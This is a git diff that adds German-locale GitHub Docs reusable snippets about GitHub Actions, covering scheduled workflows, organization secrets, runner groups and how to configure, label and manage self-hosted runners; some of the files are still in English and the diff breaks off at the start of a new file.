diff --git a/translations/de-DE/data/reusables/actions/runner-tool-cache-description.md b/translations/de-DE/data/reusables/actions/runner-tool-cache-description.md
new file mode 100644
index 0000000000..02457c3eba
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-tool-cache-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6945058380431dbf753ad8dd9ce03c032193a46a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089243"
+---
+Der Pfad zu dem Verzeichnis, das vorinstallierte Tools für von {% data variables.product.prodname_dotcom %} gehostete Runner enthält. Weitere Informationen findest du unter [Informationen zu von {% data variables.product.prodname_dotcom %} gehosteten Runnern](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
diff --git a/translations/de-DE/data/reusables/actions/runner-workflow-continuity.md b/translations/de-DE/data/reusables/actions/runner-workflow-continuity.md
new file mode 100644
index 0000000000..62a3ac78c6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/runner-workflow-continuity.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d810c1d04e070750ead1b64ff62e54842a86feb1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068058"
+---
+Wenn {% data variables.product.prodname_actions %}-Dienste vorübergehend nicht verfügbar sind, wird eine Workflowausführung verworfen, wenn sie nicht innerhalb von 30 Minuten nach dem Auslösen in die Warteschlange gestellt wurde. Wenn beispielsweise ein Workflow ausgelöst wird und die {% data variables.product.prodname_actions %}-Dienste für 31 Minuten (oder länger) nicht verfügbar sind, wird die Workflowausführung nicht verarbeitet.
diff --git a/translations/de-DE/data/reusables/actions/schedule-delay.md b/translations/de-DE/data/reusables/actions/schedule-delay.md
new file mode 100644
index 0000000000..9b0dbfcb4d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/schedule-delay.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 62a80530a1429a4374c157d32f498912b16d7afc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089236"
+---
+{% note %}
+
+Hinweis: Das Ereignis `schedule` kann sich in Phasen mit einer hohen Auslastung durch {% data variables.product.prodname_actions %}-Workflowausführungen verzögern. Eine hohe Last ist unter anderem zu Beginn jeder Stunde zu verzeichnen. Um die Wahrscheinlichkeit einer Verzögerung zu verringern, kannst du deinen Workflow so planen, dass er zu einer anderen Uhrzeit ausgeführt wird.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/scheduled-workflows-disabled.md b/translations/de-DE/data/reusables/actions/scheduled-workflows-disabled.md
new file mode 100644
index 0000000000..b64c448bb7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/scheduled-workflows-disabled.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8cc9d14f8741de76a8a149620bc56b45b31e6712
+ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876893"
+---
+Um unnötige Workflowausführungen zu verhindern, werden geplante Workflows möglicherweise automatisch deaktiviert. Wenn ein öffentliches Repository geforkt wird, sind geplante Workflows standardmäßig deaktiviert. In einem öffentlichen Repository werden geplante Workflows automatisch deaktiviert, wenn in 60 Tagen keine Repositoryaktivität aufgetreten ist.
diff --git a/translations/de-DE/data/reusables/actions/secrets-org-level-overview.md b/translations/de-DE/data/reusables/actions/secrets-org-level-overview.md
new file mode 100644
index 0000000000..dd4c5f76ae
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/secrets-org-level-overview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b0b437ad3281c9421c305cd516ce1866a225e5fc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089227"
+---
+Für Geheimnisse, die auf Organisationsebene gespeichert sind, kannst Du Zugriffsrichtlinien festlegen, um zu kontrollieren, welche Repositorys die Organisations-Geheimnisse verwenden können. Geheimnisse auf Organisationsebene ermöglichen es Dir, Geheimnisse zwischen mehreren Repositories zu teilen, was die Notwendigkeit zur Erstellung von doppelten Geheimnissen verringert. Die Aktualisierung eines Organisationsgeheimnisses an nur einem Ort stellt außerdem sicher, dass die Änderung in allen Workflows aller Repositorys wirksam wird, die dieses Geheimnis verwenden.
diff --git a/translations/de-DE/data/reusables/actions/secrets-redaction-warning.md b/translations/de-DE/data/reusables/actions/secrets-redaction-warning.md
new file mode 100644
index 0000000000..f1221bb996
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/secrets-redaction-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5b36c49c4b6bb230bda42beb45ef5cf672b95298
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068049"
+---
+{% warning %}
+
+**Warnung**: {% data variables.product.prodname_dotcom %} redigiert automatisch Geheimnisse, die im Protokoll erfasst wurden. Du solltest Geheimnisse jedoch nicht absichtlich im Protokoll erfassen lassen.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/secrets-table-entry.md b/translations/de-DE/data/reusables/actions/secrets-table-entry.md
new file mode 100644
index 0000000000..ce9813c341
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/secrets-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 62c21517acadc4119bb188bf061a1c52e99006ad
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147061314"
+---
+| Verweisen auf Geheimnisse in einem Workflow: | [Geheimnisse](/actions/security-guides/encrypted-secrets)|
diff --git a/translations/de-DE/data/reusables/actions/section-using-unique-names-for-runner-groups.md b/translations/de-DE/data/reusables/actions/section-using-unique-names-for-runner-groups.md
new file mode 100644
index 0000000000..705621972d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/section-using-unique-names-for-runner-groups.md
@@ -0,0 +1,42 @@
+---
+ms.openlocfilehash: ec6ab3ed5541819ee7578b34ce61fc11de31b51f
+ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: "148120916"
+---
+
+{% ifversion target-runner-groups %}{% ifversion ghec or ghae or ghes %}
+## Verwenden eindeutiger Namen für Runnergruppen
+
+{% data variables.product.prodname_actions %} setzt voraus, dass Runnergruppennamen auf Organisationsebene eindeutig sein müssen. Das bedeutet, dass eine Organisation nicht mehr in der Lage ist, eine Runnergruppe mit demselben Namen wie eine im Unternehmen zu erstellen. Darüber hinaus wird Benutzern ein Warnbanner für alle Runnergruppen angezeigt, die denselben Namen wie eine Gruppe im Unternehmen haben. Die Warnung enthält die Aufforderung, die Organisationsgruppe umzubenennen.
+
+Um Mehrdeutigkeiten zu vermeiden, schlägt ein Workflow fehl, wenn doppelte Runnergruppen in der Organisation und im Unternehmen vorhanden sind. Um dies zu beheben, kannst du entweder eine deiner Runnergruppen in der Organisation oder im Unternehmen umbenennen oder deine Workflowdatei aktualisieren, um dem Namen der Runnergruppe ein Präfix hinzuzufügen:
+
+- `org/` oder `organization/`
+- `ent/` oder `enterprise/`
+
+### Beispiel: Verwenden von Präfixen zum Unterscheiden von Runnergruppen
+
+Wenn du beispielsweise eine Runnergruppe mit dem Namen `my-group` in der Organisation und eine andere Gruppe mit dem Namen `my-group` im Unternehmen hast, kannst du deine Workflowdatei aktualisieren, sodass `org/my-group` oder `ent/my-group` verwendet wird, um zwischen den beiden Gruppen zu unterscheiden.
+
+Verwenden von `org/`:
+
+```yaml
+runs-on:
+  group: org/my-group
+  labels: [ self-hosted, label-1 ]
+```
+
+Verwenden von `ent/`:
+
+```yaml
+runs-on:
+  group: ent/my-group
+  labels: [ self-hosted, label-1 ]
+```
+
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-add-to-enterprise.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-add-to-enterprise.md
new file mode 100644
index 0000000000..2cc570e591
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-add-to-enterprise.md
@@ -0,0 +1,16 @@
+{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.enterprise-accounts.actions-runners-tab %}
+{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %}
+{% data reusables.actions.self-hosted-runner-configure %}
+{%- elsif ghae or ghes < 3.4 %}
+To add a self-hosted runner to an enterprise, you must be an enterprise owner.
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.enterprise-accounts.actions-runners-tab %}
+1. Click **Add new**, then click **New runner**.
+{% data reusables.actions.self-hosted-runner-configure %}
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-architecture.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-architecture.md
new file mode 100644
index 0000000000..e8666a5987
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-architecture.md
@@ -0,0 +1 @@
+Your runner machine connects to {% data variables.product.product_name %} using the {% data variables.product.prodname_actions %} self-hosted runner application.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-auto-removal.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-auto-removal.md
new file mode 100644
index 0000000000..f6fa64f23f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-auto-removal.md
@@ -0,0 +1,6 @@
+{%- ifversion fpt or ghec or ghes > 3.6 %}
+A self-hosted runner is automatically removed from {% data variables.product.product_name %} if it has not connected to {% data variables.product.prodname_actions %} for more than 14 days.  
+An ephemeral self-hosted runner is automatically removed from {% data variables.product.product_name %} if it has not connected to {% data variables.product.prodname_actions %} for more than 1 day.  
+{%- elsif ghae or ghes < 3.7 %}
+A self-hosted runner is automatically removed from {% data variables.product.product_name %} if it has not connected to {% data variables.product.prodname_actions %} for more than 30 days.  
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-check-installation-success.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-check-installation-success.md
new file mode 100644
index 0000000000..6043e32499
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-check-installation-success.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: a9030eae8492863ee750f2a02eeac584fd13513a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068025"
+---
+
+### Überprüfung dass dein selbst-gehosteter Läufer erfolgreich hinzugefügt wurde
+
+Nach Abschluss der Schritte zum Hinzufügen eines selbst gehosteten Runners werden der Runner und sein Status jetzt unter {% ifversion fpt or ghec %}„Runner“{% elsif ghae or ghes %}„Selbst-gehostete Runner“{% endif %} aufgeführt.
+
+Die selbst-gehostete Läuferanwendung muss aktiv sein, damit der Läufer Aufträge annehmen kann. Wenn die Runner-Anwendung mit {% data variables.product.product_name %} verbunden und bereit ist, Aufträge zu empfangen, siehst du die folgende Meldung auf dem Terminal des Computers.
+
+{% data reusables.actions.self-hosted-runner-connected-output %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-configure.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-configure.md
new file mode 100644
index 0000000000..23a3dc9036
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-configure.md
@@ -0,0 +1,24 @@
+---
+ms.openlocfilehash: 27ed9d55b8199298dc1cfdf8b4d3da925e08aa8d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068009"
+---
+1. Wähle das Betriebssystemimage und die Architektur deines selbstgehosteten Runnercomputers aus.
+1. Du wirst Anweisungen sehen, wie Du die Läuferanwendung herunterlädst und sie auf Deiner selbst-gehosteten Läufermaschine installierst.
+
+   Öffne eine Shell auf Deiner selbst-gehosteten Läufermaschine und führe jeden Shell-Befehl in der angezeigten Reihenfolge aus.
+
+   {% note %}
+
+   **Hinweis:** Wenn du unter Windows die selbstgehostete Runneranwendung als Dienst installieren möchtest, musst du eine Shell mit Administratorberechtigungen öffnen. Auch wird empfohlen, dass du `C:\actions-runner` als Verzeichnis für die selbstgehostete Runneranwendung verwendest, damit Windows-Systemkonten auf das Runnerverzeichnis zugreifen können.
+
+   {% endnote %}
+
+   Die Anweisungen führen Dich durch die Vervollständigung dieser Aufgaben:
+   - Herunterladen und Extrahieren der selbst-gehosteten Läuferanwendung.
+   - Ausführen des `config`-Skripts zum Konfigurieren der selbstgehosteten Runneranwendung und die Registrierung mit {% data variables.product.prodname_actions %} Das `config`-Skript benötigt die Ziel-URL und ein automatisch generiertes, zeitlich begrenztes Token, um die Anforderung zu authentifizieren.
+     - Unter Windows fragt das `config`-Skript auch, ob du die selbstgehostete Runneranwendung als Dienst installieren möchtest. Für Linux und macOS kannst Du einen Dienst installieren, nachdem Du das Hinzufügen des Läufers beendet hast. Weitere Informationen findest du unter [Konfigurieren der selbstgehosteten Runneranwendung als Dienst](/actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service).
+   - Ausführen der selbst-gehosteten Läuferanwendung zum Verbinden der Maschine mit {% data variables.product.prodname_actions %}.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-description.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-description.md
new file mode 100644
index 0000000000..6616af9e52
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e92a10b7fc05c71e4038242e76adebe730122106
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879501"
+---
+{% ifversion fpt or ghec %}Selbstgehostete Runner bieten mehr Kontrolle über Hardware, Betriebssystem und Softwaretools als von {% data variables.product.prodname_dotcom %} gehostete Runner. {% endif %}Selbstgehostete Runner bieten folgende Möglichkeiten: Erstellen von benutzerdefinierten Hardwarekonfigurationen für deine Anforderungen in Bezug auf Verarbeitungsleistung oder Arbeitsspeicher für größere Aufträge, Installieren von in deinem lokalen Netzwerk verfügbaren Softwareprogrammen, Auswählen eines Betriebssystems{% ifversion fpt or ghec %}, das von in {% data variables.product.prodname_dotcom %} gehosteten Runnern nicht angeboten wird{% endif %}.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-labels-runs-on.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-labels-runs-on.md
new file mode 100644
index 0000000000..f5187977e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-labels-runs-on.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e264eacc4226a90eb80980c2b19f48dc7c1889c7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879553"
+---
+Um einen selbstgehosteten Runner für deinen Auftrag anzugeben, konfiguriere `runs-on` in deiner Workflowdatei mit Bezeichnungen selbstgehosteter Runner.
+
+Alle selbstgehosteten Runner weisen die Bezeichnung `self-hosted` auf. Wenn du nur diese Bezeichnung verwendest, werden dadurch alle selbstgehosteten Runner ausgewählt. Um Runner auszuwählen, die bestimmte Kriterien erfüllen, z. B. im Hinblick auf Betriebssystem oder Architektur, empfehlen wir die Angabe eines Arrays von Bezeichnungen, das mit `self-hosted` beginnt (diese Bezeichnung muss als Erstes aufgeführt werden) und dann nach Bedarf weitere Bezeichnungen einschließt. Wenn du ein Array von Bezeichnungen angibst, werden Aufträge in die Warteschlange von Runnern eingereiht, die alle von dir angegebenen Bezeichnungen aufweisen.
+
+Die Bezeichnung `self-hosted` ist zwar nicht erforderlich, wird aber bei Verwendung selbstgehosteter Runner dringend empfohlen. So wird sichergestellt, dass in deinem Auftrag nicht versehentlich aktuelle oder zukünftige von {% data variables.product.prodname_dotcom %} gehostete Runner angegeben werden.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md
new file mode 100644
index 0000000000..89e0179fd7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 574ad983bdf41a9df405dbfe1aabc74467039633
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089179"
+---
+1. Suche den Runner, den Du aktualisieren möchtest, und klicke auf {% octicon "triangle-down" aria-label="The downward triangle" %}, um das Auswahlmenü für Bezeichnungen anzuzeigen. In diesem Menü werden alle benutzerdefinierten Bezeichnungen angezeigt, die für Ihren selbstgehosteten Runner verfügbar sind. Bezeichnungen, die deinem selbstgehosteten Runner bereits zugewiesen sind, sind mit einem {% octicon "check" aria-label="Check mark" %} gekennzeichnet.
+    ![Ändern der Runnerbezeichnung](/assets/images/help/settings/actions-runner-list-label.png)
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-list-group.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-list-group.md
new file mode 100644
index 0000000000..a69b6586fc
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-list-group.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2011a200266d3533d00f180339ff44f9937ffca1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091309"
+---
+1. Wenn sich dein Runner in einer Gruppe befindet, suche die Runnergruppe, und klicke auf {% octicon "chevron-down" aria-label="The downward chevron" %}, um die Liste der Runner anzuzeigen.
+    ![Auflisten der Runnergruppe](/assets/images/help/settings/actions-org-enterprise-list-group-runners.png)
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-list.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-list.md
new file mode 100644
index 0000000000..786f998f38
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-list.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a20d61ff086eda71e0d3bf84ead692056243fe1c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147061306"
+---
+1. Suche unter „Runner“ die Liste der Runner.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-locations.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-locations.md
new file mode 100644
index 0000000000..abbf8d0262
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-locations.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4f1485c3d3f7f61261794d150cdec0022e7a23fb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089172"
+---
+Selbstgehostete Runner können physisch, virtuell, in einem Container, lokal oder in einer Cloud sein.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-management-permissions-required.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-management-permissions-required.md
new file mode 100644
index 0000000000..9c3f42102f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-management-permissions-required.md
@@ -0,0 +1,9 @@
+A self-hosted runner can be located in either your repository, organization, or {% ifversion fpt or ghec %}enterprise account settings on {% data variables.product.prodname_dotcom %}{% elsif ghes or ghae %} enterprise settings on {% data variables.location.product_location %}{% endif %}. To manage a self-hosted runner, you must have the following permissions, depending on where the self-hosted runner was added:
+- **User repository**: You must be the repository owner.
+- **Organization**: You must be an organization owner. 
+- **Organization repository**: You must be an organization owner, or have admin access to the repository.
+{% ifversion ghec %}
+- **Enterprise account**: You must be an enterprise owner.
+{% elsif ghes or ghae %}
+- **Enterprise**: You must be a {% data variables.product.prodname_enterprise %} site administrator.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md
new file mode 100644
index 0000000000..a6ed72bf9a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: da28e3f2aebde989f155fdacc13fc5314e1698af
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879554"
+---
+1. Navigiere in deiner Organisation oder deinem Repository zur Hauptseite, und klicke auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md
new file mode 100644
index 0000000000..7862cdf92e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md
@@ -0,0 +1,24 @@
+---
+ms.openlocfilehash: 48dc95869bae901bf79df320e83b65979dedfd65
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147763748"
+---
+{% ifversion fpt %}
+1. Navigiere zur Hauptseite der Organisation, auf der dein selbstgehosteter Runner registriert ist.
+2. Klicke auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+{% data reusables.organizations.settings-sidebar-actions-runners %} {% elsif ghec or ghes or ghae %}
+1. Navigiere zu der Position, an der dein Runner registriert ist:
+   * **In einer Organisation**: Navigiere zur Hauptseite, und klicke auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+   * **Bei Verwendung eines Runners auf Unternehmensebene**:
+
+{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %}
+1. Navigiere zu den {% data variables.product.prodname_actions %}-Einstellungen:
+   * **In einer Organisation**: 
+
+{% indented_data_reference reusables.actions.settings-ui.settings-actions-runners spaces=5 %}
+   * **Bei Verwendung eines Runners auf Unternehmensebene**: 
+
+{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runners-tab spaces=5 %} {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md
new file mode 100644
index 0000000000..a31cb100ec
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md
@@ -0,0 +1,24 @@
+---
+ms.openlocfilehash: 8e533fd0a00968e8a7d9e05db91c69e8c6a2a47b
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147763772"
+---
+{% ifversion fpt %}
+1. Navigiere zur Hauptseite der Organisation oder des Repositorys, auf der deine selbst gehostete Runnergruppe registriert ist.
+2. Klicke auf {% octicon "gear" aria-label="The Settings gear" %}-**Einstellungen**.
+{% data reusables.organizations.settings-sidebar-actions-runners %} {% elsif ghec or ghes or ghae %}
+1. Navigiere zu der Position, an der dein Runner registriert ist:
+   * **In einer Organisation oder einem Repository**: Navigiere zur Hauptseite, und klicke auf {% octicon "gear" aria-label="The Settings gear" %}-**Einstellungen**.
+   * **Bei Verwendung eines Runners auf Unternehmensebene**:
+
+{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %}
+2. Navigiere zu den {% data variables.product.prodname_actions %}-Einstellungen:
+   * **In einer Organisation oder einem Repository**:
+
+{% indented_data_reference reusables.actions.settings-ui.settings-actions-runners spaces=5 %} {%- ifversion ghec or ghae or ghes %}
+   * **Bei Verwendung eines Runners auf Unternehmensebene**:
+
+{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runners-tab spaces=5 %} {%- endif %} {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md
new file mode 100644
index 0000000000..a648712470
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md
@@ -0,0 +1 @@
+To use actions from {% data variables.product.prodname_dotcom_the_website %},{% ifversion ghes %} both {% data variables.location.product_location %} and{% endif %} your self-hosted runners must be able to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. No inbound connections from {% data variables.product.prodname_dotcom_the_website %} are required. For more information. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-betweens-self-hosted-runners-and-githubcom)."
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-ports-protocols.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-ports-protocols.md
new file mode 100644
index 0000000000..862638d843
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-ports-protocols.md
@@ -0,0 +1,3 @@
+{% ifversion ghes or ghae %}
+The connection between self-hosted runners and {% data variables.product.product_name %} is over {% ifversion ghes %}HTTP (port 80) or {% endif %}HTTPS (port 443). {% ifversion ghes %}To ensure connectivity over HTTPS, configure TLS for {% data variables.location.product_location %}. For more information, see "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)."{% endif %} 
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-public-repo-access.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-public-repo-access.md
new file mode 100644
index 0000000000..d68a84062c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-public-repo-access.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: de1fde90a395b4ab7d9b2b36d4886a4cb716c609
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067945"
+---
+{% note %}
+
+**Hinweis:** Aus Sicherheitsgründen können öffentliche Repositorys standardmäßig keine Runner in einer Runnergruppe verwenden, aber du kannst dies in den Einstellungen der Runnergruppe außer Kraft setzen. Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-removal-impact.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-removal-impact.md
new file mode 100644
index 0000000000..e55ff88f84
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-removal-impact.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b518476e8c760fedc47dd5a8e40d312c0ea39ec2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089123"
+---
+Dieses Verfahren entfernt den selbst-gehosteten Läufer dauerhaft. Wenn du nur vorübergehend verhindern möchtest, dass einem Runner Aufträge zugewiesen werden, kannst du entweder die Maschine herunterfahren oder die `run`-Anwendung beenden. Der Runner bleibt im Status „Offline“ weiterhin zugewiesen und führt erst dann wieder Aufträge aus, wenn du ihn über die `run`-Anwendung neu startest.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md
new file mode 100644
index 0000000000..2a53019258
--- /dev/null
